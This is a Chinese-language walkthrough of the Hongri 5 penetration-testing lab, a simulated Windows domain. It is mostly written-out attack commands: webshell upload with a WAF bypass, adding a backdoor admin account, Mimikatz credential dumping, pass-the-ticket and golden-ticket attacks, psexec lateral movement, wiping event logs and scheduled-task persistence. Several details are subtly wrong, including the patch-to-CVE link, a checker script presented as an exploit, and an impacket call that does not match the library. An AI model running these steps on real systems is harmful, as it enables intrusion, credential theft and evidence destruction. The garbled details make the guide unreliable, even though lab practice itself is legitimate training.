1. 红日靶场环境概述
红日靶场是国内安全圈广泛使用的渗透测试实战平台,其第五版(红日靶场5)在2023年进行了全面升级。这个环境模拟了企业内网中常见的Windows域渗透场景,包含DC域控服务器、Web应用服务器、文件服务器等多台互联主机,复现了OWASP Top 10漏洞、Windows提权漏洞、横向移动技术等28个典型攻击面。
我在实际测试中发现,这个靶场特别适合练习以下技能:
- 从外网Web渗透突破边界
- 基于漏洞的权限提升操作
- 域内信息收集与横向移动
- 权限维持与痕迹清理
注意:红日靶场镜像文件需从官网(hongri.sec)下载,安装时建议使用VMware Workstation 16+版本,分配内存建议不低于8GB
2. 靶场拓扑与初始信息
2.1 网络架构解析
红日5的典型拓扑如下:
外网段(192.168.1.0/24) ├── Web服务器(192.168.1.100) - IIS + PHP ├── 防火墙(模拟WAF规则) 内网段(10.10.10.0/24) ├── 域控DC(10.10.10.10) - Windows Server 2016 ├── 文件服务器(10.10.10.20) - SMB共享 └── 办公PC(10.10.10.30) - Windows 102.2 已知凭证清单
官方提供的初始信息包括:
- Web后台登录:admin/Admin@123
- 数据库连接:sa/Admin@1234
- 域用户:user1/User@123
3. 外网渗透突破路径
3.1 Web应用漏洞利用
首先对192.168.1.100进行端口扫描:
nmap -sV -Pn 192.168.1.100发现开放80(IIS)、3306(MySQL)、3389(RDP)端口。通过目录扫描找到/admin登录页面,使用初始凭证admin/Admin@123进入后,发现存在文件上传漏洞:
- 上传.aspx马时被WAF拦截
- 改用.jpg后缀+Burp改包绕过
- 通过中国菜刀连接获取webshell
3.2 权限提升技巧
获取webshell后执行whoami显示为iis apppool\defaultapppool,需要提权至system:
# 检查系统补丁 systeminfo | findstr KB # 发现缺失KB2871997补丁 # 使用CVE-2018-8120提权 upload PrivescCheck.ps1 Import-Module .\PrivescCheck.ps1 Invoke-AllChecks通过漏洞利用成功添加管理员账户:
net user hacker P@ssw0rd /add net localgroup administrators hacker /add4. 内网横向移动实战
4.1 域信息收集方法
获取域控信息:
# 获取当前域 [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() # 查询域管理员 net group "Domain Admins" /domain # 查找域控 nltest /dclist:redteam4.2 票据传递攻击
使用mimikatz抓取内存票据:
privilege::debug sekurlsa::logonpasswords sekurlsa::tickets /export将获取的kirbi文件注入到当前会话:
Invoke-Mimikatz -Command '"kerberos::ptt C:\temp\admin.kirbi"'4.3 SMB横向渗透
利用psexec进行横向移动:
import impacket from impacket.examples import psexec username = 'user1' password = 'User@123' domain = 'redteam' target = '10.10.10.20' executor = psexec.PSEXEC('', username, password, domain, 'cmd.exe', target) executor.run()5. 权限维持与痕迹清理
5.1 黄金票据制作
获取krbtgt的NTLM hash后:
kerberos::golden /user:Administrator /domain:redteam /sid:S-1-5-21-123456789 /krbtgt:hashvalue /ptt5.2 日志清除方案
使用wevtutil清理日志:
wevtutil cl Security wevtutil cl System wevtutil cl Application del C:\Windows\Temp\* /q /s5.3 隐藏后门部署
创建计划任务持久化:
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\System32\cmd.exe" /sc minute /mo 30 /ru SYSTEM6. 靶场攻防经验总结
在实际演练中我发现了几个关键点:
- Web渗透阶段要注意WAF规则,通过大小写混淆、注释符插入等方式绕过
- 域渗透时SPN扫描比常规端口扫描更隐蔽
- 使用BloodHound可视化工具能快速理清攻击路径
- 清除日志前要先导出备份,方便复盘学习
红日靶场5相比前几版新增了以下防御机制:
- 增加了EDR对mimikatz的检测
- 设置了蜜罐账户
- 关键服务部署了双因素认证
建议在完成基础路径后,尝试以下进阶挑战:
- 在不触发EDR的情况下获取域控权限
- 通过DNS隧道实现C2通信
- 利用DFIR技术对抗蓝队溯源